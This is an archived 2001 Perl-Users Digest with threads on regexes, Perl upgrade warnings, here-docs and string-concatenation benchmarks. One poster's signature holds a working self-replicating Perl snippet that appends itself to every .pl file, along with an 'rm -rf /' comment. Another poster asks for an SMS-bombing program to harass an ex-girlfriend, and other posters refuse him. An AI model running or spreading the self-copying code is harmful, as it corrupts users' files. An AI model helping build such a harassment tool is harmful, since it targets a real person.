[18574] in Perl-Users-Digest

home help back first fref pref prev next nref lref last post

Perl-Users Digest, Issue: 742 Volume: 10

daemon@ATHENA.MIT.EDU (Perl-Users Digest)
Sun Apr 22 18:06:20 2001

Date: Sun, 22 Apr 2001 15:05:07 -0700 (PDT)
From: Perl-Users Digest <Perl-Users-Request@ruby.OCE.ORST.EDU>
To: Perl-Users@ruby.OCE.ORST.EDU (Perl-Users Digest)
Message-Id: <987977107-v10-i742@ruby.oce.orst.edu>
Content-Type: text

Perl-Users Digest           Sun, 22 Apr 2001     Volume: 10 Number: 742

Today's topics:
    Re: Another regexp question (Tad McClellan)
    Re: Another regexp question (Logan Shaw)
    Re: Another regexp question <keesh@users.pleaseremovethisbit.sourceforge.net>
    Re: Another regexp question <joe+usenet@sunstarsys.com>
    Re: Another regexp question <joe+usenet@sunstarsys.com>
    Re: Another regexp question (Logan Shaw)
    Re: Another regexp question (Logan Shaw)
        Issue with 5.004 to 5.6 upgrade - Use strict now automa <tuc@ttsg.com>
    Re: Issue with 5.004 to 5.6 upgrade - Use strict now au <mischief@velma.motion.net>
    Re: Issue with 5.004 to 5.6 upgrade - Use strict now au <tuc@ttsg.com>
    Re: Need help with Modul Mail::Send <djsyntax@crazydj.de>
    Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?= (Rudolf Polzer)
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <tinamue@zedat.fu-berlin.de>
    Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?= <flavell@mail.cern.ch>
        RE: print<< <19wlr@globalnet.co.uk>
    Re: print<< (Anno Siegel)
    Re: print<< <soszko@gmu.edu>
    Re: print<< <uri@sysarch.com>
        Problems with sending a sms <djsyntax@crazydj.de>
    Re: Problems with sending a sms <soszko@gmu.edu>
    Re: Problems with sending a sms (Anno Siegel)
    Re: SMS module <djsyntax@crazydj.de>
        SMS Protocols and hosts (totally off topic) <perl@imchat.com>
    Re: Which is faster/better? <xris@dont.send.spam>
    Re: Which is faster/better? <xris@dont.send.spam>
    Re: Which is faster/better? (Chris Fedde)
        Digest Administrivia (Last modified: 6 Apr 01) (Perl-Users-Digest Admin)

----------------------------------------------------------------------

Date: Sun, 22 Apr 2001 14:20:44 -0400
From: tadmc@augustmail.com (Tad McClellan)
Subject: Re: Another regexp question
Message-Id: <slrn9e687s.ijs.tadmc@tadmc26.august.net>

Young Chi-Yeung Fan <yf32@cornell.edu> wrote:
>How do I check that I have an alphanumeric, colon-separated string?
>
>Right now, I've got: /^[a-zA-Z0-9:]*$/


That will match the empty string you know. Does the empty string
count as valid? I would think not...


>...but I know it isn't right because I can't have the string start or
>end with a colon. How do I fix it?


   /^\b[a-zA-Z0-9:]+\b$/


:-)


-- 
    Tad McClellan                          SGML consulting
    tadmc@augustmail.com                   Perl programming
    Fort Worth, Texas


------------------------------

Date: 22 Apr 2001 14:20:42 -0500
From: logan@cs.utexas.edu (Logan Shaw)
Subject: Re: Another regexp question
Message-Id: <9bvaua$7i9$1@charity.cs.utexas.edu>

In article <9bv4mi$fh7$1@news8.svr.pol.co.uk>,
Ciaran McCreesh <keesh@users.pleaseremovethisbit.sourceforge.net> wrote:
>In article <3AE30E76.EE564075@cornell.edu>, "Young Chi-Yeung Fan"
><yf32@cornell.edu> wrote:
>> How do I check that I have an alphanumeric, colon-separated string?
>> 
>> Right now, I've got: /^[a-zA-Z0-9:]*$/
>> ...but I know it isn't right because I can't have the string start or
>> end with a colon. How do I fix it?
>
>/^[a-zA-Z0-9]([a-zA-Z0-9:]*[a-zA-Z0-9])?$/ will work I think.

It seems cleaner to do this:

	/^[a-zA-Z0-9](:[a-zA-Z0-9]*)*$/

That is, the string must have a non-colon character, and then after
that it can have any number (including zero) of colons followed by
possibly-empty strings.

  - Logan
-- 
my  your   his  her   our   their   _its_
I'm you're he's she's we're they're _it's_


------------------------------

Date: Sun, 22 Apr 2001 20:59:58 +0100
From: "Ciaran McCreesh" <keesh@users.pleaseremovethisbit.sourceforge.net>
Subject: Re: Another regexp question
Message-Id: <9bvd5a$rrc$1@newsg3.svr.pol.co.uk>

In article <9bvaua$7i9$1@charity.cs.utexas.edu>, logan@cs.utexas.edu 
wrote:
>>/^[a-zA-Z0-9]([a-zA-Z0-9:]*[a-zA-Z0-9])?$/ will work I think.
> 
> It seems cleaner to do this:
> 
> 	/^[a-zA-Z0-9](:[a-zA-Z0-9]*)*$/

Nested stars scare me :) Probably because I've seen so many people do
things like /([aeiou]*)*/ , I always worry that I'll mess up. IIRC, Perl
dies if you try, but I've used languages which will give an infinite loop
in that situation.

Yeah, OK, I'm paranoid...

Ciaran

-- 
Ciaran McCreesh
mail:    keesh@users.sourceforge.net
web:     http://www.opensourcepan.com/


------------------------------

Date: 22 Apr 2001 17:06:36 -0400
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: Another regexp question
Message-Id: <m3u23gy78j.fsf@mumonkan.sunstarsys.com>


> Young Chi-Yeung Fan <yf32@cornell.edu> wrote:
> > How do I check that I have an alphanumeric, colon-separated string?
> > 
> > Right now, I've got: /^[a-zA-Z0-9:]*$/
> > ...but I know it isn't right because I can't have the string start or
> > end with a colon. How do I fix it?

By not treating ':' as just another alphanumeric character. If it is
supposed to separate alphanumeric strings, your regexp should reflect 
that.  But without representative data it's hard to guess at what is
required. Are empty strings really OK? What about 'a::b'? 


To which rpolzer@durchnull.de (echo 'Rudolf Polzer'>/dev/null) whimsically
responded:

> (untested)

In light of your history of inaccurate posts to clp.misc, don't you
think it is about time to start testing your answers before inflicting
them on the rest of us?

> /^(?:[a-zA-Z0-9]*(?::|$))*$/
> 
> works AFAIK if and only if /$.*$/ matches anything.

For some bizarre definition of "works" perhaps, since /$.*$/ matches 
whenever $. is defined.  But by any reasonable standard, your regexp is
merely an obfuscation of OP's broken one.

-- 
Joe Schaefer            "Bad artists always admire each others work."
                                               -- Oscar Wilde


------------------------------

Date: 22 Apr 2001 17:37:58 -0400
From: Joe Schaefer <joe+usenet@sunstarsys.com>
Subject: Re: Another regexp question
Message-Id: <m3pue4y5s9.fsf@mumonkan.sunstarsys.com>

"Ciaran McCreesh" <keesh@users.pleaseremovethisbit.sourceforge.net> writes:

> In article <9bvaua$7i9$1@charity.cs.utexas.edu>, logan@cs.utexas.edu 
> wrote:
> >>/^[a-zA-Z0-9]([a-zA-Z0-9:]*[a-zA-Z0-9])?$/ will work I think.
> > 
> > It seems cleaner to do this:
> > 
> > 	/^[a-zA-Z0-9](:[a-zA-Z0-9]*)*$/
> 
> Nested stars scare me :) Probably because I've seen so many people do
> things like /([aeiou]*)*/ , I always worry that I'll mess up. IIRC, Perl
> dies if you try, but I've used languages which will give an infinite loop
> in that situation.
> 
> Yeah, OK, I'm paranoid...

In this case, your paranoia may have served you well since Logan's regexp
does not meet OP's requirements.  In particular, it matches a string
like 'abc:', which OP specifically stated was undesirable.  For a
correct and elegent solution, see Tad's followup.

-- 
Joe Schaefer         "I never think of the future. It comes soon enough."
                                               --Albert Einstein


------------------------------

Date: 22 Apr 2001 16:50:06 -0500
From: logan@cs.utexas.edu (Logan Shaw)
Subject: Re: Another regexp question
Message-Id: <9bvjme$8f9$1@charity.cs.utexas.edu>

In article <9bvd5a$rrc$1@newsg3.svr.pol.co.uk>,
Ciaran McCreesh <keesh@users.pleaseremovethisbit.sourceforge.net> wrote:
>In article <9bvaua$7i9$1@charity.cs.utexas.edu>, logan@cs.utexas.edu 
>wrote:
>>>/^[a-zA-Z0-9]([a-zA-Z0-9:]*[a-zA-Z0-9])?$/ will work I think.
>> 
>> It seems cleaner to do this:
>> 
>> 	/^[a-zA-Z0-9](:[a-zA-Z0-9]*)*$/
>
>Nested stars scare me :) Probably because I've seen so many people do
>things like /([aeiou]*)*/ , I always worry that I'll mess up. IIRC, Perl
>dies if you try, but I've used languages which will give an infinite loop
>in that situation.

Yeah.  Sometimes nested star patterns are kind of problematic.  The one
you gave is very ambiguous (in that there are all kinds of imaginable
ways it could match[1]) without some disambiguating rules, and the
rules are not easy to remember, because they're pretty much arbitrary.

But that doesn't mean no nested star patterns are useful.  The one I
gave isn't a problem because the thing inside the parenthesis must
always begin with a fixed string (":"), and not only that, but the
fixed string only can occur once inside that whole subpattern in the
parenthesis.  So the colons serve as signposts to keep the matching
engine from going crazy.  Indeed, I don't think it will even have to
backtrack when trying to match that pattern.

By the way, I screwed up my regular expression slightly.  It should
have a star after the first character class:

	/^[a-zA-Z0-9]*(:[a-zA-Z0-9]*)*$/

And probably, to be in line with what the OP was asking about, it
should have the stars replaced by plusses.

  - Logan

[1]  In fact, an infinite number, I guess.
-- 
my  your   his  her   our   their   _its_
I'm you're he's she's we're they're _it's_


------------------------------

Date: 22 Apr 2001 17:01:08 -0500
From: logan@cs.utexas.edu (Logan Shaw)
Subject: Re: Another regexp question
Message-Id: <9bvkb4$8gu$1@charity.cs.utexas.edu>

In article <m3pue4y5s9.fsf@mumonkan.sunstarsys.com>,
Joe Schaefer  <joe+usenet@sunstarsys.com> wrote:
>"Ciaran McCreesh" <keesh@users.pleaseremovethisbit.sourceforge.net> writes:
>
>> In article <9bvaua$7i9$1@charity.cs.utexas.edu>, logan@cs.utexas.edu 
>> wrote:
>> >>/^[a-zA-Z0-9]([a-zA-Z0-9:]*[a-zA-Z0-9])?$/ will work I think.
>> > 
>> > It seems cleaner to do this:
>> > 
>> > 	/^[a-zA-Z0-9](:[a-zA-Z0-9]*)*$/
>> 
>> Nested stars scare me :) Probably because I've seen so many people do
>> things like /([aeiou]*)*/ , I always worry that I'll mess up. IIRC, Perl
>> dies if you try, but I've used languages which will give an infinite loop
>> in that situation.
>> 
>> Yeah, OK, I'm paranoid...
>
>In this case, your paranoia may have served you well since Logan's regexp
>does not meet OP's requirements.  In particular, it matches a string
>like 'abc:', which OP specifically stated was undesirable.  For a
>correct and elegent solution, see Tad's followup.

I didn't think Tad's solution was elegant.  I thought it was correct
and really clever, but not elegant.

But then, I'm thinking of the original poster's request as a regular
language for which one grammar is this:

	whatiwant -> data 
	whatiwant -> data separator whatiwant
	data -> alphanumeric
	data -> alphanumeric data
	alphanumeric -> [a-zA-Z0-9]
	separator -> ":"

And the regular expression I gave corresponds closely to that.  At
least it does if you put in the star I forgot and change star to plus
in the right two places.  I definitely agree the expression I
originally posted wasn't right.

  - Logan
-- 
my  your   his  her   our   their   _its_
I'm you're he's she's we're they're _it's_


------------------------------

Date: Sun, 22 Apr 2001 15:16:07 -0400
From: System Administrator <tuc@ttsg.com>
Subject: Issue with 5.004 to 5.6 upgrade - Use strict now automatic?
Message-Id: <3AE32DF7.FF17C372@ttsg.com>

Hi,

I recently went from :

"This is perl, version 5.004_05 built for sun4-solaris"

        to:

"This is perl, v5.6.0 built for sun4-solaris"


A script now starts to complain like :

Name "main::qhandle" used only once: possible typo at ./ttsgcreatei.cgi
line 776.
Name "main::tpassword" used only once: possible typo at
 ./ttsgcreatei.cgi line 808.
Name "DBI::errstr" used only once: possible typo at ./ttsgcreatei.cgi
line 318.
Name "main::pdbuser" used only once: possible typo at ./ttsgcreatei.cgi
line 298.
Name "main::pdbpasswd" used only once: possible typo at
 ./ttsgcreatei.cgi line 298.

How do I stop this? I didn't change the #!/usr/local/bin/perl line at
all. Just installed a totally new perl.

Thanks, Tuc/TTSG Internet Services, Inc.




------------------------------

Date: Sun, 22 Apr 2001 20:05:52 -0000
From: Chris Stith <mischief@velma.motion.net>
Subject: Re: Issue with 5.004 to 5.6 upgrade - Use strict now automatic?
Message-Id: <te6ed0lnjhpkea@corp.supernews.com>

No, strict is not automatic in 5.6.0 at all.

System Administrator <tuc@ttsg.com> wrote:
> Hi,

> I recently went from :

> "This is perl, version 5.004_05 built for sun4-solaris"

>         to:

> "This is perl, v5.6.0 built for sun4-solaris"


> A script now starts to complain like :

> Name "main::qhandle" used only once: possible typo at ./ttsgcreatei.cgi
> line 776.

[additional `possible typo' errors snipped]

> How do I stop this? I didn't change the #!/usr/local/bin/perl line at
> all. Just installed a totally new perl.

Does your shebang line include '-w' after '#!/usr/local/bin/perl'?

What you are experiencing is from warnings being turned on,
not strictures. If you just put another reference to a variable
in the program or declare it using 'my', then you can get rid
of those errors. The latter also moves you towards being able to
use 'strict'. The only other option is to disable warnings, which
is not very desirable as you should ask perl for all the help it
can give you.

Chris

-- 
Christopher E. Stith
Where there's a will, there's a lawyer.



------------------------------

Date: Sun, 22 Apr 2001 17:44:40 -0400
From: Tuc <tuc@ttsg.com>
Subject: Re: Issue with 5.004 to 5.6 upgrade - Use strict now automatic?
Message-Id: <3AE350C8.13499AB2@ttsg.com>

Chris Stith wrote:

> No, strict is not automatic in 5.6.0 at all.
>
> System Administrator <tuc@ttsg.com> wrote:
> > Hi,
>
> > I recently went from :
>
> > "This is perl, version 5.004_05 built for sun4-solaris"
>
> >         to:
>
> > "This is perl, v5.6.0 built for sun4-solaris"
>
> > A script now starts to complain like :
>
> > Name "main::qhandle" used only once: possible typo at ./ttsgcreatei.cgi
> > line 776.
>
> [additional `possible typo' errors snipped]
>
> > How do I stop this? I didn't change the #!/usr/local/bin/perl line at
> > all. Just installed a totally new perl.
>
> Does your shebang line include '-w' after '#!/usr/local/bin/perl'?
>

No. As I mentioned, I didn' change the shebang, and it doesn't have "-w"

>
> What you are experiencing is from warnings being turned on,
> not strictures. If you just put another reference to a variable
> in the program or declare it using 'my', then you can get rid
> of those errors.

I didn't specifically turn them on, how did it get turned on? I realize this
is easy to fix by changing the scripts, but there are MANY cgis/perl
programs, and I'm more concerned that I understand what happened to perl to
change how my script is operating/checked/etc.

> The latter also moves you towards being able to
> use 'strict'. The only other option is to disable warnings, which
> is not very desirable as you should ask perl for all the help it
> can give you.

Ok, how do I recompile perl so I no longer get the warnings.  When I need
help, I'll ask perl specifically "-w" or the newsgroup. 8-)

Thanks, Tuc/TTSG Internet Services, Inc.



------------------------------

Date: Sun, 22 Apr 2001 22:33:43 +0200
From: "Bastian Ballmann" <djsyntax@crazydj.de>
Subject: Re: Need help with Modul Mail::Send
Message-Id: <20010422.223337.1504569917.1210@Syntaxerror.crazydj.de>

Im Artikel <u9hezgappa.fsf@wcl-l.bham.ac.uk> schrieb "Unknown"
<nobull@mail.com>:

> "Bastian Ballmann" <djsyntax@crazydj.de> writes:
> 
>> I have got a problem using the module Mail::Send. If I try to send an
>> email with my perl script I always get the error: "Bareword "mydomain"
>> not allowed while "strict subs" in use".
> 
> Please show is a few lines of code either side of where the error
> occours.
> 
>> I am not using the strict module
> 
> So, I guess, error is not occuring in your script but rather in some
> module you are using.  But I should not have to guess!  You should have
> given us at least minimal information to help you.

Thanx but I have helped myself :-)


------------------------------

Date: Sun, 22 Apr 2001 20:24:51 +0200
From: eins@durchnull.de (Rudolf Polzer)
Subject: Re: Perl Fehler bei =?iso-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <slrn9e68fj.1tc.eins@www42.t-offline.de>

Michael Döring <info@rpv.de> wrote:
> *PLONK*

Ich glaub dem Kerl auch kein Wort, aber ich kann dem nix beweisen. Es 
gibt ja auch einen weiteren Michael Schumacher, einen weiteren Stefan 
Raab, noch einen Boris Becker usw.

Übrigens: dein plonk nützt dir gar nix, ich weiß, dass du noch liest.

Aber, um es mit deinen Worten zu sagen:

*plonk from=tomorrow to=forever*

(superseded, Fup2me hinzugefügt)

-- 
#!/usr/bin/perl -- WARNING: Be careful. This is a virus!!! # rm -rf /
eval($0=q{$0="\neval(\$0=q{$0});\n";for(<*.pl>){open X,">>$_";print X
$0;close X;}print''.reverse"\nsuriv lreP trohs rehtona tsuJ>RH<\n"});
####################### http://learn.to/quote #######################


------------------------------

Date: 22 Apr 2001 18:09:45 GMT
From: Tina Mueller <tinamue@zedat.fu-berlin.de>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <9bv6p9$ar5rd$3@fu-berlin.de>

In de.comp.lang.perl.cgi Michael Döring <info@rpv.de> wrote:
> "Tony Curtis" <tony_curtis32@yahoo.com> schrieb:
>>Genau.  *Ich* heisse Tony Curtis.  Der Schauspieler wurde
>>"Bernard Schwarz" geboren, mindestens darf ich sagen dass
>>das mein echter Name ist!

> Ich glaube Dir kein Wort.

> *PLONK*

weisst du, dass du gerade einen comp.lang.perl.misc-regular
geplonkt hast und dass du das auch gerade in c.l.p.m.
gepostet hast?

(you know that you just killfiled a c.l.p.m.-regular and
that you are posting german in an english NG?)

f'up2poster and stop this thread...

-- 
http://tinita.de    \  enter__| |__the___ _ _ ___
tina's moviedatabase \     / _` / _ \/ _ \ '_(_-< of
search & add comments \    \ _,_\ __/\ __/_| /__/ perception
please don't email unless offtopic or followup is set. thanx


------------------------------

Date: Sun, 22 Apr 2001 20:33:23 +0200
From: "Alan J. Flavell" <flavell@mail.cern.ch>
Subject: Re: Perl Fehler bei =?ISO-8859-1?Q?Scriptausf=FChrung?=
Message-Id: <Pine.LNX.4.30.0104222028380.29852-100000@lxplus003.cern.ch>

On Sun, 22 Apr 2001, Michael Döring schrub:

> >Genau.  *Ich* heisse Tony Curtis.  Der Schauspieler wurde
> >"Bernard Schwarz" geboren, mindestens darf ich sagen dass
            ^^^^^^^
            "Schwartz"?

> >das mein echter Name ist!
>
> Ich glaube Dir kein Wort.
>
> *PLONK*

What a bloody circus!

Take a look at http://www.perl.com/reference/query.cgi?sysadmin
under the sub-heading WOTS.

f'ups prophylactically set.



------------------------------

Date: Sun, 22 Apr 2001 21:10:03 +0100
From: "John Plaxton" <19wlr@globalnet.co.uk>
Subject: RE: print<<
Message-Id: <te6eq9jbposnd7@xo.supernews.co.uk>

Hi there, as usual I'm sure everyone knows the answer to this one except me,
but here goes! Teaching  yourself, and programming alone has it's drawbacks.

Does anyone know why

print<<HTML;
  rows of HTML
HTML

does not compile every time? I've used other words instead of HTML but still
have problems.

I'm fed up with using

print"
  200 lines
 ";

carefully removing all the double quotes after cut and pastes of code.

Thanks in advance

John




------------------------------

Date: 22 Apr 2001 20:26:28 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: print<<
Message-Id: <9bvepk$20v$1@mamenchi.zrz.TU-Berlin.DE>

According to John Plaxton <19wlr@globalnet.co.uk>:
> Hi there, as usual I'm sure everyone knows the answer to this one except me,
> but here goes! Teaching  yourself, and programming alone has it's drawbacks.
> 
> Does anyone know why
> 
> print<<HTML;
>   rows of HTML
> HTML
> 
> does not compile every time? I've used other words instead of HTML but still
> have problems.

You don't give us enough information.  How does it fail to compile?
With what error message?  When in doubt what the error message says,
use diagnostics.  What changes between cases that compile and those
that don't?

Prepare a minimal example of code that demonstrates the effect, about
20 lines or so.  Often the preparation of such a file will clear up
the problem.  If it doesn't, post it here and we can try our diagnostic
skills on it.
 
> I'm fed up with using
> 
> print"
>   200 lines
>  ";

Then you're among the people for whom here-docs were invented.

> carefully removing all the double quotes after cut and pastes of code.

Removing?  Escaping, one would hope.  If that is the problem, the
qq// operator lets you chose the delimiter.

Anno


------------------------------

Date: Sun, 22 Apr 2001 17:23:56 -0400
From: Szilvia Oszko <soszko@gmu.edu>
Subject: Re: print<<
Message-Id: <3AE34BEC.2739E4D2@gmu.edu>



John Plaxton wrote:

>
> I'm fed up with using
>
> print"
>   200 lines
>  ";
>
> carefully removing all the double quotes after cut and pastes of code.
>

If carefully removing all the double quotes is your only problem, you could do
something like

print '

200 lines of HTML

';

or even

print q(

200 lines of HTML

);



------------------------------

Date: Sun, 22 Apr 2001 21:56:27 GMT
From: Uri Guttman <uri@sysarch.com>
Subject: Re: print<<
Message-Id: <x73db0k38v.fsf@home.sysarch.com>

>>>>> "SO" == Szilvia Oszko <soszko@gmu.edu> writes:

  SO> If carefully removing all the double quotes is your only problem,
  SO> you could do something like

  SO> print '
  SO> 200 lines of HTML
  SO> ';

  SO> print q(
  SO> 200 lines of HTML
  SO> );

both are poor compared to here docs. you still have to be careful about
escaping the delimiter, the ; is WAY at the end of the string, etc. 

his problem is not understanding here doc syntax clearly. there is a
known issue with here docs on winblows. IIRC you need a full blank line
after them for them to be parsed correctly. that may be only needed at
the end of the file. 

uri

-- 
Uri Guttman  ---------  uri@sysarch.com  ----------  http://www.sysarch.com
SYStems ARCHitecture and Stem Development ------ http://www.stemsystems.com
Learn Advanced Object Oriented Perl from Damian Conway - Boston, July 10-11
Class and Registration info:     http://www.sysarch.com/perl/OOP_class.html


------------------------------

Date: Sun, 22 Apr 2001 23:27:08 +0200
From: "Bastian Ballmann" <djsyntax@crazydj.de>
Subject: Problems with sending a sms
Message-Id: <20010422.232704.774044599.1210@Syntaxerror.crazydj.de>

Hi @all!!!
Has anyone of ya another idea how to send a sms without a SMS module?
Maybe by connecting to a server via telnet on a special port and execing some nice
command?
Or by using a linux command based smstool except smssend and hwsms.pl?
Please help me because I have to write a sms bombing programme to fu**
off my ex girlfriend!!!
Thanx where forwarded...
 ...and happy perling out there!!!
Greetz

Bastian Ballmann


------------------------------

Date: Sun, 22 Apr 2001 17:29:22 -0400
From: Szilvia Oszko <soszko@gmu.edu>
Subject: Re: Problems with sending a sms
Message-Id: <3AE34D32.C726DAF4@gmu.edu>



Bastian Ballmann wrote:

> Hi @all!!!
> Has anyone of ya another idea how to send a sms without a SMS module?
> Maybe by connecting to a server via telnet on a special port and execing some nice
> command?
> Or by using a linux command based smstool except smssend and hwsms.pl?
> Please help me because I have to write a sms bombing programme to fu**
> off my ex girlfriend!!!
> Thanx where forwarded...
> ...and happy perling out there!!!
> Greetz
>
> Bastian Ballmann

I'm sure there will be droves of Perl enthusiasts rushing to your help in this noble
-- and, let me add, highly Perl-related --endeavour. Get a grip, man.




------------------------------

Date: 22 Apr 2001 21:52:04 GMT
From: anno4000@lublin.zrz.tu-berlin.de (Anno Siegel)
Subject: Re: Problems with sending a sms
Message-Id: <9bvjq4$6r4$1@mamenchi.zrz.TU-Berlin.DE>

[comp.lang.perl.modules removed from Newsgroups]

According to Bastian Ballmann <djsyntax@crazydj.de>:
> Hi @all!!!
> Has anyone of ya another idea how to send a sms without a SMS module?

Ah, don't we all like a query that goes "Tell me how to do X but I
don't want to use Y and Z"?

> Maybe by connecting to a server via telnet on a special port and execing
> some nice
> command?

How about doing your own research?  This has nothing to do with Perl.

> Or by using a linux command based smstool except smssend and hwsms.pl?
> Please help me because I have to write a sms bombing programme to fu**
> off my ex girlfriend!!!

So you want to vent your sexual frustration by harrassing your
ex-girlfriend.  Very appealing.  Lots of luck in getting help with
that.

Summary:

Ich glaub, du spinnst ein bischen.

Anno


------------------------------

Date: Sun, 22 Apr 2001 22:39:18 +0200
From: "Bastian Ballmann" <djsyntax@crazydj.de>
Subject: Re: SMS module
Message-Id: <20010422.223917.1967681095.1210@Syntaxerror.crazydj.de>

Im Artikel <20010422.223723.654887343.1210@Syntaxerror.crazydj.de> schrieb
"Bastian Ballmann" <djsyntax@crazydj.de>:

Hi @ll!!!
I know that there are only two SMS modules available on CPAN -->
Net::SMS and Net::SMS::Genie
But I have found another module on http://freshmeat.net called SMS. Does
anyone know how it works exactly? ...'cause the documentation isnt that
good... Thanx and happy perling!!! :-)
Greetz
 
Bastian Ballmann


------------------------------

Date: Sun, 22 Apr 2001 13:12:50 -0500
From: mark <perl@imchat.com>
Subject: SMS Protocols and hosts (totally off topic)
Message-Id: <3AE31F22.2496EEAC@imchat.com>

    Anyone know where I can find a list of the telco's sms addresses and

ports? Also would like to get a look at the specs in a white paper or
something, but so far I haven't found it yet. Wapforum.org is useless,
and I'm not interested in WAP anyway. The only thing they have there is
some slide shows unless you pay them $7500.






------------------------------

Date: Sun, 22 Apr 2001 13:46:46 -0500
From: xris <xris@dont.send.spam>
Subject: Re: Which is faster/better?
Message-Id: <xris-9A93F4.13464522042001@news.evergo.net>

In article <3AE2D63B.E8D7C57D@schaffhausen.de>,
 Malte Ubl <ubl@schaffhausen.de> wrote:

> Sorry, I dont know an answer to this. What you might want to take under
> consideration (if this is possible in your case) is to avoid the concatenation
> alltogether and use a statement like this instead:
> print $somewhere $string1, $string2, $string3
> or even better do that and avoid having all strings in memory at the
> same time.

yes, I do this whenever possible.  unfortunately, most of the routines 
I'm working with are the replacements for the second half of a s///e 
statement.



------------------------------

Date: Sun, 22 Apr 2001 15:28:34 -0500
From: xris <xris@dont.send.spam>
Subject: Re: Which is faster/better?
Message-Id: <xris-60E2D0.15283422042001@news.evergo.net>

Well, thanks to someone (I'm sorry, I forget who) who posted the 
Benchmark code (I didn't know how to do it), I got back the following 
results, for anyone else who is curious:

$routines = {
   'A_join'   => sub { 
      my $str = join "", $s1, $s2, $s3, $s4, $s5, $s6;
      return $str;
   },
   'B_concat' => sub {
      my $str = $s1 . $s2 . $s3 . $s4 . $s5 . $s6;
      return $str;
   },
   'C_stringify' => sub {
      my $str = "$s1$s2$s3$s4$s5$s6";
      return $str;
   },
   'D_append' => sub {
      my $str = $s1;
      $str .= $s2;
      $str .= $s3;
      $str .= $s4;
      $str .= $s5;
      $str .= $s6;
      return $str;
   }
};


String Size:  100
Benchmark: timing 100000 iterations of A_join, B_concat, C_stringify, 
D_append...
     A_join:  3 secs ( 3.23 usr  0.00 sys =  3.23 cpu)
   B_concat:  1 secs ( 2.42 usr  0.00 sys =  2.42 cpu)
C_stringify:  1 secs ( 2.40 usr  0.00 sys =  2.40 cpu)
   D_append:  2 secs ( 2.85 usr  0.00 sys =  2.85 cpu)

String Size:  1000
Benchmark: timing 100000 iterations of A_join, B_concat, C_stringify, 
D_append...
     A_join:  7 secs ( 7.45 usr  0.00 sys =  7.45 cpu)
   B_concat:  5 secs ( 6.25 usr  0.00 sys =  6.25 cpu)
C_stringify:  5 secs ( 5.88 usr  0.00 sys =  5.88 cpu)
   D_append:  4 secs ( 4.37 usr  0.00 sys =  4.37 cpu)

String Size:  10000
Benchmark: timing 5000 iterations of A_join, B_concat, C_stringify, 
D_append...
     A_join: 12 secs (12.43 usr  0.00 sys = 12.43 cpu)
   B_concat: 11 secs (10.63 usr  0.00 sys = 10.63 cpu)
C_stringify: 10 secs (10.50 usr  0.00 sys = 10.50 cpu)
   D_append:  5 secs ( 5.05 usr  0.00 sys =  5.05 cpu)

String Size:  100000
Benchmark: timing 500 iterations of A_join, B_concat, C_stringify, 
D_append...
     A_join: 23 secs (23.10 usr  0.00 sys = 23.10 cpu)
   B_concat: 25 secs (24.65 usr  0.00 sys = 24.65 cpu)
C_stringify: 25 secs (25.05 usr  0.00 sys = 25.05 cpu)
   D_append:  6 secs ( 6.52 usr  0.00 sys =  6.52 cpu)


thus, it seems to me that the Perl book is wrong, in that join() is 
*never* the best option.  Smaller strings do better with concat or 
stringify ($stringify, specifically), and after that, appending seems by 
FAR to be the best option.  heh, of course, I ran this on my mac.  when 
I ran it in linux, the results were SIGNIFICANTLY faster, but still 
still showed the same relationships (except that with the two smaller 
string sizes, join and stringify were about the same).  Nevertheless, 
stringify is still faster, and append is remarkably faster for longer 
strings.

Thanks to everyone who helped out here.  guess I need to go on a massive 
code-altering binge.  :)



------------------------------

Date: Sun, 22 Apr 2001 20:33:27 GMT
From: cfedde@fedde.littleton.co.us (Chris Fedde)
Subject: Re: Which is faster/better?
Message-Id: <reHE6.71$UA4.170622976@news.frii.net>

In article <9bunjt$hoo$1@neptunium.btinternet.com>,
Andy <andrew.fase@btinternet.com> wrote:
>
>an example is a bubble sort vs a quick sort algorithm.. one is best with a
>small list of values to sort but rubbish with as big one (buble sort) and
>the other is rubbish with a small list of values to sort (as it takes  so
>long to initalise) and supurb with a huge list.....
>

Um.  I beg to differ here.  Bubble sort is always suboptomal. I
wish that people would stop teaching it.  An insertion sort is
always better.  Second, most implementations of a systems qsort
function use an insertion sort for short sublists rather than doing
quick sort all the way down.  Third, for very large datasets some
kind of external sort is better.  Most system sort commands suck
in large sublists of the data, qsort it in memory then write it
out to temp files.  Then they do a K-way merge sort over the
resulting fragment files.

While the spirit of your comment was right on the details were a
bit muddled.

chris
-- 
    This space intentionally left blank


------------------------------

Date: 6 Apr 2001 21:33:47 GMT (Last modified)
From: Perl-Users-Request@ruby.oce.orst.edu (Perl-Users-Digest Admin) 
Subject: Digest Administrivia (Last modified: 6 Apr 01)
Message-Id: <null>


Administrivia:

The Perl-Users Digest is a retransmission of the USENET newsgroup
comp.lang.perl.misc.  For subscription or unsubscription requests, send
the single line:

	subscribe perl-users
or:
	unsubscribe perl-users

to almanac@ruby.oce.orst.edu.  

To submit articles to comp.lang.perl.announce, send your article to
clpa@perl.com.

To request back copies (available for a week or so), send your request
to almanac@ruby.oce.orst.edu with the command "send perl-users x.y",
where x is the volume number and y is the issue number.

For other requests pertaining to the digest, send mail to
perl-users-request@ruby.oce.orst.edu. Do not waste your time or mine
sending perl questions to the -request address, I don't have time to
answer them even if I did know the answer.


------------------------------
End of Perl-Users Digest V10 Issue 742
**************************************


home help back first fref pref prev next nref lref last post